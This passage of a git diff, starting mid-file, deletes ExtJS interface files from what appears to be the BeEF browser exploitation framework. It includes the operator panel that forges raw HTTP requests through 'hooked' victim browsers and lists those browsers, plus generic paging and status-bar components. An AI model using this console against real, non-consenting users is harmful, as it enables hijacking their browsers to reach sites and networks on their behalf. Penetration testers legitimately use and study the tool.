ZombieTab_LogTab.superclass.constructor.call(this, { - id: 'zombie-log-tab' + zombie.session, - layout: 'fit', - title: 'Logs', - items: { - layout: 'border', - border: false, - items:[zombieLog] - } - }); -}; - -Ext.extend(ZombieTab_LogTab, Ext.Panel, {} ); - diff --git a/public/javascript/ui/panel/tabs/ZombieTabRequester.js b/public/javascript/ui/panel/tabs/ZombieTabRequester.js deleted file mode 100644 index 6f836e8ea..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabRequester.js +++ /dev/null @@ -1,252 +0,0 @@ -/* - * The request Tab panel for the selected zombie. - * Loaded in /ui/panel/index.html - */ -ZombieTab_Requester = function(zombie) { - - // The status bar. - var commands_statusbar = new Beef_StatusBar('requester-bbar-zombie-'+zombie.session); - - - /* - * The panel used to forge raw HTTP requests. - ********************************************/ - var requests_panel = new Ext.Panel({ - id: 'requester-forge-requests-zombie-'+zombie.session, - title: 'Forge Request', - layout: 'fit' - }); - - - /* - * The panel that displays the history of all requests performed. - ********************************************/ - var history_panel_store = new Ext.ux.data.PagingJsonStore({ - storeId: 'requester-history-store-zombie-'+zombie.session, - url: '/ui/requester/history.json', - remoteSort: false, - autoDestroy: true, - autoLoad: false, - root: 'history', - - fields: ['domain', 'date', 'id', 'has_ran', 'path'], - sortInfo: {field: 'date', direction: 'DESC'}, - - baseParams: { - nonce: Ext.get("nonce").dom.value, - zombie_session: zombie.session - } - }); - - var req_pagesize = 30; - - var history_panel_bbar = new Ext.PagingToolbar({ - pageSize: req_pagesize, - store: history_panel_store, - displayInfo: true, - displayMsg: 'Displaying history {0} - {1} of {2}', - emptyMsg: 'No history to display' - }); - - var history_panel_grid = new Ext.grid.GridPanel({ - id: 'requester-history-grid-zombie-'+zombie.session, - store: history_panel_store, - bbar: history_panel_bbar, - border: false, - loadMask: {msg:'Loading History...'}, - - viewConfig: { - forceFit:true - }, - - view: new Ext.grid.GridView({ - forceFit: true, - emptyText: "No History", - enableRowBody:true - }), - - columns: [ - {header: 'id', width: 10, sortable: true, dataIndex: 'id', hidden: true}, - {header: 'domain', sortable: true, dataIndex: 'domain'}, - {header: 'path', sortable: true, dataIndex: 'path'}, - {header: 'response', width: 20, sortable: true, dataIndex: 'has_ran'}, - {header: 'date', width: 50, sortable: true, dataIndex: 'date'} - ], - - listeners: { - rowclick: function(grid, rowIndex) { - var tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session); - var r = grid.getStore().getAt(rowIndex).data; - - if(!r.has_ran) { - commands_statusbar.update_fail("Response for this request has not been received yet."); - return; - } - - if(!tab_panel.get('requester-response-'+r.id)) { - genResultTab(r, zombie, commands_statusbar); - } - }, - afterrender: function(datagrid) { - datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}}); - } - } - }); - - - var history_panel = new Ext.Panel({ - id: 'requester-history-panel-zombie-'+zombie.session, - title: 'History', - items:[history_panel_grid], - layout: 'fit', - - listeners: { - activate: function(history_panel) { - history_panel.items.items[0].store.reload(); - } - } - }); - - // Function generating the requests panel to send raw requests - //------------------------------------------------------------- - function genRawRequestPanel(zombie, bar, value) { - var form = new Ext.FormPanel({ - title: 'Forge Raw HTTP Request', - id: 'requester-request-form-zombie'+zombie.session, - url: '/ui/requester/send', - hideLabels : true, - border: false, - padding: '3px 5px 0 5px', - - items:[{ - xtype: 'textarea', - id: 'raw-request-zombie-'+zombie.session, - name: 'raw_request', - width: '100%', - height: '100%', - allowBlank: false - }], - - buttons: [{ - text: 'Send', - handler: function() { - var form = Ext.getCmp('requester-request-form-zombie'+zombie.session).getForm(); - - bar.update_sending('Sending request to ' + zombie.ip + '...'); - - form.submit({ - params: { - nonce: Ext.get("nonce").dom.value,//insert the nonce with the form - zombie_session: zombie.session - }, - success: function() { - bar.update_sent("Request sent to hooked browser " + zombie.ip); - }, - failure: function() { - bar.update_fail("Error! Invalid http request."); - } - }); - } - }] - }); - - if(!value) { - value = "GET /demos/secret_page.html HTTP/1.1\n"; - - if(zombie.domain) { - value += "Host: "+zombie.domain.split(':')[0]+"\n"; - } else { - value += "Host: \n"; - } - } - - form.get('raw-request-zombie-'+zombie.session).value = value; - - panel = Ext.getCmp('requester-forge-requests-zombie-'+zombie.session); - panel.setTitle('Forge Request'); - panel.add(form); - }; - - // Function generating the panel that shows the results of a request - // This function is called when the user clicks on a row in the grid - // showing the results in the history. - //------------------------------------------------------------------ - function genResultTab(request, zombie, bar) { - var tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session); - - bar.update_sending('Getting response...'); - - Ext.Ajax.request({ - url: '/ui/requester/response.json', - loadMask: true, - - params: { - nonce: Ext.get("nonce").dom.value, - http_id: request.id - }, - - success: function(response) { - var xhr = Ext.decode(response.responseText); - - var tab_result_response = new Ext.Panel({ - title: 'Reponse', - border: false, - layout: 'fit', - padding: '5px 5px 5px 5px', - items:[new Ext.form.TextArea({id: 'requester-response-res-'+request.id, value: xhr.result.response})] - }); - - var tab_result_request = new Ext.Panel({ - title: 'Request', - border: false, - layout: 'fit', - padding: '5px 5px 5px 5px', - items:[new Ext.form.TextArea({id: 'requester-response-req-'+request.id, value: xhr.result.request})] - }); - - var tab_result_accordion = new Ext.Panel({ - id: 'requester-response-'+request.id, - title: request.path, - split: true, - border: false, - layout:'accordion', - closable: true, - items:[tab_result_response, tab_result_request] - }); - - tab_panel.add(tab_result_accordion); - tab_panel.activate(tab_result_accordion.id); - - bar.update_sent("Displaying response."); - }, - - failure: function() { - bar.update_fail("Error! Could you retrieve the response."); - } - }); - }; - - - ZombieTab_Requester.superclass.constructor.call(this, { - id: 'zombie-requester-tab-zombie-'+zombie.session, - title: 'Requester', - activeTab: 0, - viewConfig: { - forceFit: true, - type: 'fit' - }, - - items: [history_panel, requests_panel], - - bbar: commands_statusbar, - - listeners: { - afterrender : function(){ - genRawRequestPanel(zombie, commands_statusbar); - } - } - }); - -}; - -Ext.extend(ZombieTab_Requester, Ext.TabPanel, {}); diff --git a/public/javascript/ui/panel/zombiesTreeList.js b/public/javascript/ui/panel/zombiesTreeList.js deleted file mode 100644 index d1428ff68..000000000 --- a/public/javascript/ui/panel/zombiesTreeList.js +++ /dev/null @@ -1,272 +0,0 @@ -/* - * The zombie panel located on the left hand side of the interface. - */ -zombiesTreeList = function(id) { - - var title = id.slice(0,1).toUpperCase() + id.slice(1); - - zombiesTreeList.superclass.constructor.call(this, { - id:'zombie-tree-'+id, - region:'west', - title: title, - split:true, - rootVisible:false, - lines:false, - autoScroll:true, - useArrows:true, - root: new Ext.tree.TreeNode('My Zombies'), - collapseFirst:false - }); - - //the tree node that contains the list of online hooked browsers - this.online_hooked_browsers_treenode = this.root.appendChild( - new Ext.tree.TreeNode({ - text:'Online Browsers', - cls:'online-zombies-node', - expanded:true - }) - ); - - //the tree node that contains the list of offline hooked browsers - this.offline_hooked_browsers_treenode = this.root.appendChild( - new Ext.tree.TreeNode({ - text:'Offline Browsers', - cls:'offline-zombies-node', - expanded:false - }) - ); - -}; - -/* - * The Tree panel that contains the zombie list. - */ -Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { - - //saves the configuration for the tree - tree_configuration: { - 'sub-branch' : 'domain', - 'distributed' : false - }, - - //store the list of online hooked browsers in an array - online_hooked_browsers_array: new Array, - - //store the list of offline hooked browsers in an array - offline_hooked_browsers_array: new Array, - - //store the distributed engine rules - distributed_engine_rules: null, - - listeners: { - //creates a new hooked browser tab when a hooked browser is clicked - click: function(node, e) { - if(!node.leaf) return; - - if(!mainPanel.get(node.attributes.session)) { - mainPanel.add(new ZombieTab(node.attributes)); - } - - mainPanel.activate(node.attributes.session); - }, - //update the set of rules when a checkbox is clicked - checkchange: function(node, checked) { - - } - }, - - /* - * Updates the configuration of the tree. - * @param: {Literal Object} the new configuration. - */ - updateConfiguration: function(new_configuration) { - Ext.apply(this.tree_configuration, new_configuration); - }, - - /* - * Reloads the tree. This function is useful after you have updated the configuration - * of the tree. - */ - reload: function() { - //deletes all the nodes in the online hooked browser branch - try {this.online_hooked_browsers_treenode.removeAll(true);} catch(e) {}; - - //adds back the hooked browser to the online branch - Ext.each(this.online_hooked_browsers_array, function(online_hooked_browser) { - this.addZombie(online_hooked_browser, online_hooked_browser["online"], online_hooked_browser["checkbox"]); - }, this) - - //expends the online hooked browser branch - if(this.online_hooked_browsers_treenode.childNodes.length > 0) - this.online_hooked_browsers_treenode.expand(true); - - //deletes all the nodes in the offline hooked browser branch - try {this.offline_hooked_browsers_treenode.removeAll(true);} catch(e) {}; - - //adds back the hooked browsers to the offline branch - Ext.each(this.offline_hooked_browsers_array, function(offline_hooked_browser) { - this.addZombie(offline_hooked_browser, offline_hooked_browser["online"], offline_hooked_browser["checkbox"]); - }, this) - - //expends the online hooked browser branch - if(this.offline_hooked_browsers_treenode.childNodes.length > 0) - this.offline_hooked_browsers_treenode.expand(true); - }, - - /* - * Adds a new hooked browser to the tree. - * @param: {Literal Object} the hooked browser object generated by the zombie manager. - * @param: {Boolean} true if the hooked browser is online, false if offline. - * - */ - addZombie: function(hooked_browser, online, checkbox) { - var hb_id, mother_node, node; - - if(online) { - hb_id = 'zombie-online-' + hooked_browser.session; - mother_node = this.online_hooked_browsers_treenode; - } else { - hb_id = 'zombie-offline-' + hooked_browser.session; - mother_node = this.offline_hooked_browsers_treenode; - } - //window.console.log(this.online_hooked_browsers_array) - var exists = this.getNodeById(hb_id); - if(exists) return; - - //save a new online HB - if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) { - this.online_hooked_browsers_array.push(hooked_browser); - } - - //save a new offline HB - if(!online && this.offline_hooked_browsers_array.indexOf(hooked_browser)==-1) { - this.offline_hooked_browsers_array.push(hooked_browser); - } - - //apply CSS styles and configuring the hooked browser for the tree - Ext.apply(hooked_browser, { - iconCls: 'feed-icon', - leaf:true, - id: hb_id, - checked: ((checkbox) ? false : null), - online: online, - checkbox: checkbox - }); - - //creates a new node for that hooed browser - node = new Ext.tree.TreeNode(hooked_browser); - - //creates a sub-branch for that HB if necessary - mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox); - - if(online) { - //add the hooked browser to the online branch - Ext.apply(hooked_browser, {cls: 'zombie-online'}); - mother_node.appendChild(node); - } else { - //add the hooked browser to the offline branch - Ext.apply(hooked_browser, {cls: 'zombie-offline'}); - mother_node.appendChild(node); - } - - return node; - }, - - /* - * Adds a sub-branch or sub-folder to the tree. - * @param: {Ext.tree.TreeNode} the mother node. - * @param: {String} the name of the new sub branch. - * @param: {Boolean} true if the sub-branch should have a checkbox; false if not. - */ - addSubFolder: function(mother_node, folder, checkbox) { - if(!folder) return mother_node; - - if(mother_node.hasChildNodes()) { - for(i in mother_node.childNodes) { - node = mother_node.childNodes[i]; - - if(typeof node == 'object' && node.attributes.text == folder) - return node; - } - } else { - sub_folder_node = new Ext.tree.TreeNode({ - id: 'sub-folder-'+folder, - text: folder, - checked: ((checkbox) ? false : null), - type: this.tree_configuration["sub-branch"] - }); - - mother_node.appendChild(sub_folder_node); - mother_node = sub_folder_node; - } - - return mother_node; - }, - - /* - * Remove any duplicated hooked browsers in branches. - * @param: {Literal Object} object containing the list of hooked browsers. - */ - compareAndRemove: function(zombies) { - var arr = ['online', 'offline']; - - Ext.each(arr, function(branch_type) { - var new_set_zombies = zombies[branch_type]; - var new_set_zombies_array = new Array; - - //converts the new set of zombies to an array - Ext.iterate(new_set_zombies, function(key, hooked_browser) { new_set_zombies_array.push(hooked_browser); }); - - //retrieves all the new hooked browsers' session id - var new_set_zombies_sessions = Ext.pluck(new_set_zombies_array, 'session'); - if(!new_set_zombies_sessions) return; - - //retrieves the branch that will be updated - var branch_node = eval('this.'+branch_type+'_hooked_browsers_treenode'); - - //retrieves the list of known hooked browsers in that branch - var hooked_browser_array = eval('this.'+branch_type+'_hooked_browsers_array'); - if(hooked_browser_array.length == 0) return; - - //we compare the list of known HBs to the new set of HBs retrieved. If a HB is missing - //we delete it from the tree. - Ext.iterate(hooked_browser_array, function(known_hooked_browser, key) { - if(!known_hooked_browser) return; - - var hb_session = known_hooked_browser["session"]; - - if(new_set_zombies_sessions.indexOf(hb_session)==-1) { - var node = this.getNodeById('zombie-'+branch_type+'-'+hb_session); - if(node) { - //remove the node from the tree - branch_node.removeChild(node); - - var parentNode = node.parentNode; - // remove the node parent sub-folder only if there are not any other HBs as child of it - // (basically, zombies that comes from the same IP) - if(parentNode.childNodes.length <= 1){ - branch_node.removeChild(parentNode); - } - - //because ExtJs has a bug with node.destroy() this is a hack to make it work for beef. - node.setId("hooked-browser-node-destroyed"); - - //update the array of hooked browser - hooked_browser_array = hooked_browser_array.slice(key, key+1); - eval('this.'+branch_type+'_hooked_browsers_array = hooked_browser_array'); - } - } - }, this); - }, this); - }, - - /* - * Apply a new set of distributed engine rules to the nodes in the tree - * @param: {Literal Objects} the rules set. See the zombie manager. - */ - applyRules: function(rules) { - //we return if the tree is not distributed - if(!this.tree_configuration["distributed"]) return; - - } -}); \ No newline at end of file diff --git a/public/javascript/ux/PagingStore.js b/public/javascript/ux/PagingStore.js deleted file mode 100644 index c08ca2b80..000000000 --- a/public/javascript/ux/PagingStore.js +++ /dev/null @@ -1,553 +0,0 @@ -/* - * PagingStore for Ext 3.2 - v0.5 - */ -Ext.ns('Ext.ux.data'); -Ext.ux.data.PagingStore = Ext.extend(Ext.data.Store, { - add: function (records) { - records = [].concat(records); - if (records.length < 1) { - return; - } - for (var i = 0, len = records.length; i < len; i++) { - records[i].join(this); - } - var index = this.data.length; - this.data.addAll(records); - // *** add *** - if (this.allData) { - this.allData.addAll(records); - } - // *** end *** - if (this.snapshot) { - this.snapshot.addAll(records); - } - // *** add *** - this.totalLength += records.length; - // *** end *** - this.fireEvent('add', this, records, index); - }, - remove: function (record) { - if (Ext.isArray(record)) { - Ext.each(record, function (r) { - this.remove(r); - }, this); - return; - } - // *** add *** - if (this != record.store) { - return; - } - record.join(null); - // *** end *** - var index = this.data.indexOf(record); - if (index > -1) { - // record.join(null); - this.data.removeAt(index); - } - if (this.pruneModifiedRecords) { - this.modified.remove(record); - } - // *** add *** - if (this.allData) { - this.allData.remove(record); - } - // *** end *** - if (this.snapshot) { - this.snapshot.remove(record); - } - // *** add *** - this.totalLength--; - // *** end *** - if (index > -1) { - this.fireEvent('remove', this, record, index); - } - }, - removeAll: function (silent) { - // *** add *** - var items = [].concat((this.snapshot || this.allData || this.data).items); - // *** end *** - // var items = []; - // this.each(function (rec) { - // items.push(rec); - // }); - this.clearData(); - // if (this.snapshot) { - // this.snapshot.clear(); - // } - if (this.pruneModifiedRecords) { - this.modified = []; - } - // *** add *** - this.totalLength = 0; - // *** end *** - if (silent !== true) { - this.fireEvent('clear', this, items); - } - }, - insert: function (index, records) { - records = [].concat(records); - for (var i = 0, len = records.length; i < len; i++) { - this.data.insert(index, records[i]); - records[i].join(this); - } - // *** add *** - if (this.allData) { - this.allData.addAll(records); - } - // *** end *** - if (this.snapshot) { - this.snapshot.addAll(records); - } - // *** add *** - this.totalLength += records.length; - // *** end *** - this.fireEvent('add', this, records, index); - }, - getById: function (id) { - // *** add *** - return (this.snapshot || this.allData || this.data).key(id); - // *** end *** - // return this.data.key(id); - }, - clearData: function () { - // *** add *** - if (this.allData) { - this.data = this.allData; - delete this.allData; - } - if (this.snapshot) { - this.data = this.snapshot; - delete this.snapshot; - } - // *** end *** - this.data.each(function (rec) { - rec.join(null); - }); - this.data.clear(); - }, - execute: function (action, rs, options, batch) { - if (!Ext.data.Api.isAction(action)) { - throw new Ext.data.Api.Error('execute', action); - } - options = Ext.applyIf(options || {}, { - params: {} - }); - if (batch !== undefined) { - this.addToBatch(batch); - } - var doRequest = true; - if (action === 'read') { - doRequest = this.fireEvent('beforeload', this, options); - Ext.applyIf(options.params, this.baseParams); - } - else { - if (this.writer.listful === true && this.restful !== true) { - rs = (Ext.isArray(rs)) ? rs : [rs]; - } - else if (Ext.isArray(rs) && rs.length == 1) { - rs = rs.shift(); - } - if ((doRequest = this.fireEvent('beforewrite', this, action, rs, options)) !== false) { - this.writer.apply(options.params, this.baseParams, action, rs); - } - } - if (doRequest !== false) { - if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, action)) { - options.params.xaction = action; - } - // *** add *** - if (action === "read" && this.isPaging(Ext.apply({}, options.params))) { - (function () { - if (this.allData) { - this.data = this.allData; - delete this.allData; - } - this.applyPaging(); - this.fireEvent("datachanged", this); - var r = [].concat(this.data.items); - this.fireEvent("load", this, r, options); - if (options.callback) { - options.callback.call(options.scope || this, r, options, true); - } - }).defer(1, this); - return true; - } - // *** end *** - this.proxy.request(Ext.data.Api.actions[action], rs, options.params, this.reader, this.createCallback(action, rs, batch), this, options); - } - return doRequest; - }, - loadRecords: function (o, options, success) { - if (this.isDestroyed === true) { - return; - } - if (!o || success === false) { - if (success !== false) { - this.fireEvent('load', this, [], options); - } - if (options.callback) { - options.callback.call(options.scope || this, [], options, false, o); - } - return; - } - var r = o.records, - t = o.totalRecords || r.length; - if (!options || options.add !== true) { - if (this.pruneModifiedRecords) { - this.modified = []; - } - for (var i = 0, len = r.length; i < len; i++) { - r[i].join(this); - } - //if (this.snapshot) { - // this.data = this.snapshot; - // delete this.snapshot; - //} - this.clearData(); - this.data.addAll(r); - this.totalLength = t; - this.applySort(); - // *** add *** - if (!this.allData) { - this.applyPaging(); - } - if (r.length > this.getCount()) { - r = [].concat(this.data.items); - } - // *** end *** - this.fireEvent('datachanged', this); - } else { - this.totalLength = Math.max(t, this.data.length + r.length); - this.add(r); - } - this.fireEvent('load', this, r, options); - if (options.callback) { - options.callback.call(options.scope || this, r, options, true); - } - }, - loadData: function (o, append) { - // *** add *** - this.isPaging(Ext.apply({}, this.lastOptions ? this.lastOptions.params : null, this.baseParams)); - // *** end *** - var r = this.reader.readRecords(o); - this.loadRecords(r, { - add: append - }, true); - }, - getTotalCount: function () { - // *** add *** - if (this.allData) { - return this.allData.getCount(); - } - // *** end *** - return this.totalLength || 0; - }, - sortData: function () { - var sortInfo = this.hasMultiSort ? this.multiSortInfo : this.sortInfo, - direction = sortInfo.direction || "ASC", - sorters = sortInfo.sorters, - sortFns = []; - if (!this.hasMultiSort) { - sorters = [{ - direction: direction, - field: sortInfo.field - }]; - } - for (var i = 0, j = sorters.length; i < j; i++) { - sortFns.push(this.createSortFunction(sorters[i].field, sorters[i].direction)); - } - if (!sortFns.length) { - return; - } - var directionModifier = direction.toUpperCase() == "DESC" ? -1 : 1; - var fn = function (r1, r2) { - var result = sortFns[0].call(this, r1, r2); - if (sortFns.length > 1) { - for (var i = 1, j = sortFns.length; i < j; i++) { - result = result || sortFns[i].call(this, r1, r2); - } - } - return directionModifier * result; - }; - // *** add *** - if (this.allData) { - this.data = this.allData; - delete this.allData; - } - // *** end *** - this.data.sort(direction, fn); - if (this.snapshot && this.snapshot != this.data) { - this.snapshot.sort(direction, fn); - } - // *** add *** - this.applyPaging(); - // *** end *** - }, - filterBy: function (fn, scope) { - // *** add *** - this.snapshot = this.snapshot || this.allData || this.data; - // *** end *** - // this.snapshot = this.snapshot || this.data; - this.data = this.queryBy(fn, scope || this); - // *** add *** - this.applyPaging(); - // *** end *** - this.fireEvent('datachanged', this); - }, - clearFilter: function (suppressEvent) { - if (this.isFiltered()) { - this.data = this.snapshot; - delete this.snapshot; - // *** add *** - delete this.allData; - this.applyPaging(); - // *** end *** - if (suppressEvent !== true) { - this.fireEvent('datachanged', this); - } - } - }, - isFiltered: function () { - // *** add *** - return !!this.snapshot && this.snapshot != (this.allData || this.data); - // *** end *** - // return !!this.snapshot && this.snapshot != this.data; - }, - queryBy: function (fn, scope) { - // *** add *** - var data = this.snapshot || this.allData || this.data; - // *** end *** - // var data = this.snapshot || this.data; - return data.filterBy(fn, scope || this); - }, - collect: function (dataIndex, allowNull, bypassFilter) { - // *** add *** - var d = (bypassFilter === true ? this.snapshot || this.allData || this.data : this.data).items; - // *** end *** - // var d = (bypassFilter === true && this.snapshot) ? this.snapshot.items : this.data.items; - var v, sv, r = [], - l = {}; - for (var i = 0, len = d.length; i < len; i++) { - v = d[i].data[dataIndex]; - sv = String(v); - if ((allowNull || !Ext.isEmpty(v)) && !l[sv]) { - l[sv] = true; - r[r.length] = v; - } - } - return r; - }, - findInsertIndex : function(record){ - this.suspendEvents(); - var data = this.data.clone(); - this.data.add(record); - this.applySort(); - var index = this.data.indexOf(record); - this.data = data; - // *** add *** - this.totalLength--; - // *** end *** - this.resumeEvents(); - return index; - }, - // *** add *** - isPaging: function (params) { - var pn = this.paramNames, - start = params[pn.start], - limit = params[pn.limit]; - if ((typeof start != 'number') || (typeof limit != 'number')) { - delete this.start; - delete this.limit; - this.lastParams = params; - return false; - } - this.start = start; - this.limit = limit; - delete params[pn.start]; - delete params[pn.limit]; - var lastParams = this.lastParams; - this.lastParams = params; - if (!this.proxy) { - return true; - } - if (!lastParams) { - return false; - } - for (var param in params) { - if (params.hasOwnProperty(param) && (params[param] !== lastParams[param])) { - return false; - } - } - for (param in lastParams) { - if (lastParams.hasOwnProperty(param) && (params[param] !== lastParams[param])) { - return false; - } - } - return true; - }, - applyPaging: function () { - var start = this.start, - limit = this.limit; - if ((typeof start == 'number') && (typeof limit == 'number')) { - var allData = this.data, - data = new Ext.util.MixedCollection(allData.allowFunctions, allData.getKey); - data.items = allData.items.slice(start, start + limit); - data.keys = allData.keys.slice(start, start + limit); - var len = data.length = data.items.length; - var map = {}; - for (var i = 0; i < len; i++) { - var item = data.items[i]; - map[data.getKey(item)] = item; - } - data.map = map; - this.allData = allData; - this.data = data; - } - } - // *** end *** -}); - -Ext.ux.data.PagingDirectStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.DirectStore.prototype.constructor -}); -Ext.reg('pagingdirectstore', Ext.ux.data.PagingDirectStore); - -Ext.ux.data.PagingJsonStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.JsonStore.prototype.constructor -}); -Ext.reg('pagingjsonstore', Ext.ux.data.PagingJsonStore); - -Ext.ux.data.PagingXmlStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.XmlStore.prototype.constructor -}); -Ext.reg('pagingxmlstore', Ext.ux.data.PagingXmlStore); - -Ext.ux.data.PagingArrayStore = Ext.extend(Ext.ux.data.PagingStore, { - constructor: Ext.data.ArrayStore.prototype.constructor, - loadData: function (data, append) { - if (this.expandData === true) { - var r = []; - for (var i = 0, len = data.length; i < len; i++) { - r[r.length] = [data[i]]; - } - data = r; - } - Ext.ux.data.PagingArrayStore.superclass.loadData.call(this, data, append); - } -}); -Ext.reg('pagingarraystore', Ext.ux.data.PagingArrayStore); - -Ext.ux.data.PagingSimpleStore = Ext.ux.data.PagingArrayStore; -Ext.reg('pagingsimplestore', Ext.ux.data.PagingSimpleStore); - -Ext.ux.data.PagingGroupingStore = Ext.extend(Ext.ux.data.PagingStore, Ext.copyTo({}, Ext.data.GroupingStore.prototype, [ - 'constructor', - 'remoteGroup', - 'groupOnSort', - 'groupDir', - 'clearGrouping', - 'groupBy', - 'sort', - 'applyGroupField', - 'applyGrouping', - 'getGroupState' -])); -Ext.reg('paginggroupingstore', Ext.ux.data.PagingGroupingStore); - -Ext.ux.PagingToolbar = Ext.extend(Ext.PagingToolbar, { - onLoad: function (store, r, o) { - if (!this.rendered) { - this.dsLoaded = [store, r, o]; - return; - } - var p = this.getParams(); - this.cursor = (o.params && o.params[p.start]) ? o.params[p.start] : 0; - this.onChange(); - // *** end *** - // var d = this.getPageData(), - // ap = d.activePage, - // ps = d.pages; - // this.afterTextItem.setText(String.format(this.afterPageText, d.pages)); - // this.inputItem.setValue(ap); - // this.first.setDisabled(ap == 1); - // this.prev.setDisabled(ap == 1); - // this.next.setDisabled(ap == ps); - // this.last.setDisabled(ap == ps); - // this.refresh.enable(); - // this.updateInfo(); - // this.fireEvent('change', this, d); - }, - onChange: function () { - // *** add *** - var t = this.store.getTotalCount(), - s = this.pageSize; - if (this.cursor >= t) { - this.cursor = Math.ceil((t + 1) / s) * s; - } - // *** end *** - var d = this.getPageData(), - ap = d.activePage, - ps = d.pages; - this.afterTextItem.setText(String.format(this.afterPageText, d.pages)); - this.inputItem.setValue(ap); - this.first.setDisabled(ap == 1); - this.prev.setDisabled(ap == 1); - this.next.setDisabled(ap == ps); - this.last.setDisabled(ap == ps); - this.refresh.enable(); - this.updateInfo(); - this.fireEvent('change', this, d); - }, - onClear: function () { - this.cursor = 0; - this.onChange(); - }, - doRefresh: function () { - // *** add *** - delete this.store.lastParams; - // *** end *** - this.doLoad(this.cursor); - }, - bindStore: function (store, initial) { - var doLoad; - if (!initial && this.store) { - if (store !== this.store && this.store.autoDestroy) { - this.store.destroy(); - } else { - this.store.un('beforeload', this.beforeLoad, this); - this.store.un('load', this.onLoad, this); - this.store.un('exception', this.onLoadError, this); - // *** add *** - this.store.un('datachanged', this.onChange, this); - this.store.un('add', this.onChange, this); - this.store.un('remove', this.onChange, this); - this.store.un('clear', this.onClear, this); - // *** end *** - } - if (!store) { - this.store = null; - } - } - if (store) { - store = Ext.StoreMgr.lookup(store); - store.on({ - scope: this, - beforeload: this.beforeLoad, - load: this.onLoad, - exception: this.onLoadError, - // *** add *** - datachanged: this.onChange, - add: this.onChange, - remove: this.onChange, - clear: this.onClear - // *** end *** - }); - doLoad = true; - } - this.store = store; - if (doLoad) { - this.onLoad(store, null, {}); - } - } -}); -Ext.reg('ux.paging', Ext.ux.PagingToolbar); diff --git a/public/javascript/ux/StatusBar.js b/public/javascript/ux/StatusBar.js deleted file mode 100644 index 3b06bad4b..000000000 --- a/public/javascript/ux/StatusBar.js +++ /dev/null @@ -1,446 +0,0 @@ -/*! - * Ext JS Library 3.1.1 - * Copyright(c) 2006-2010 Ext JS, LLC - * licensing@extjs.com - * http://www.extjs.com/license - */ -/** - * @class Ext.ux.StatusBar - *

Basic status bar component that can be used as the bottom toolbar of any {@link Ext.Panel}. In addition to - * supporting the standard {@link Ext.Toolbar} interface for adding buttons, menus and other items, the StatusBar - * provides a greedy status element that can be aligned to either side and has convenient methods for setting the - * status text and icon. You can also indicate that something is processing using the {@link #showBusy} method.

- *

-new Ext.Panel({
-    title: 'StatusBar',
-    // etc.
-    bbar: new Ext.ux.StatusBar({
-        id: 'my-status',
-
-        // defaults to use when the status is cleared:
-        defaultText: 'Default status text',
-        defaultIconCls: 'default-icon',
-
-        // values to set initially:
-        text: 'Ready',
-        iconCls: 'ready-icon',
-
-        // any standard Toolbar items:
-        items: [{
-            text: 'A Button'
-        }, '-', 'Plain Text']
-    })
-});
-
-// Update the status bar later in code:
-var sb = Ext.getCmp('my-status');
-sb.setStatus({
-    text: 'OK',
-    iconCls: 'ok-icon',
-    clear: true // auto-clear after a set interval
-});
-
-// Set the status bar to show that something is processing:
-sb.showBusy();
-
-// processing....
-
-sb.clearStatus(); // once completeed
-
- * @extends Ext.Toolbar - * @constructor - * Creates a new StatusBar - * @param {Object/Array} config A config object - */ -Ext.ux.StatusBar = Ext.extend(Ext.Toolbar, { - /** - * @cfg {String} statusAlign - * The alignment of the status element within the overall StatusBar layout. When the StatusBar is rendered, - * it creates an internal div containing the status text and icon. Any additional Toolbar items added in the - * StatusBar's {@link #items} config, or added via {@link #add} or any of the supported add* methods, will be - * rendered, in added order, to the opposite side. The status element is greedy, so it will automatically - * expand to take up all sapce left over by any other items. Example usage: - *

-// Create a left-aligned status bar containing a button,
-// separator and text item that will be right-aligned (default):
-new Ext.Panel({
-    title: 'StatusBar',
-    // etc.
-    bbar: new Ext.ux.StatusBar({
-        defaultText: 'Default status text',
-        id: 'status-id',
-        items: [{
-            text: 'A Button'
-        }, '-', 'Plain Text']
-    })
-});
-
-// By adding the statusAlign config, this will create the
-// exact same toolbar, except the status and toolbar item
-// layout will be reversed from the previous example:
-new Ext.Panel({
-    title: 'StatusBar',
-    // etc.
-    bbar: new Ext.ux.StatusBar({
-        defaultText: 'Default status text',
-        id: 'status-id',
-        statusAlign: 'right',
-        items: [{
-            text: 'A Button'
-        }, '-', 'Plain Text']
-    })
-});
-
- */ - /** - * @cfg {String} defaultText - * The default {@link #text} value. This will be used anytime the status bar is cleared with the - * useDefaults:true option (defaults to ''). - */ - /** - * @cfg {String} defaultIconCls - * The default {@link #iconCls} value (see the iconCls docs for additional details about customizing the icon). - * This will be used anytime the status bar is cleared with the useDefaults:true option (defaults to ''). - */ - /** - * @cfg {String} text - * A string that will be initially set as the status message. This string - * will be set as innerHTML (html tags are accepted) for the toolbar item. - * If not specified, the value set for {@link #defaultText} - * will be used. - */ - /** - * @cfg {String} iconCls - * A CSS class that will be initially set as the status bar icon and is - * expected to provide a background image (defaults to ''). - * Example usage:

-// Example CSS rule:
-.x-statusbar .x-status-custom {
-    padding-left: 25px;
-    background: transparent url(images/custom-icon.gif) no-repeat 3px 2px;
-}
-
-// Setting a default icon:
-var sb = new Ext.ux.StatusBar({
-    defaultIconCls: 'x-status-custom'
-});
-
-// Changing the icon:
-sb.setStatus({
-    text: 'New status',
-    iconCls: 'x-status-custom'
-});
-
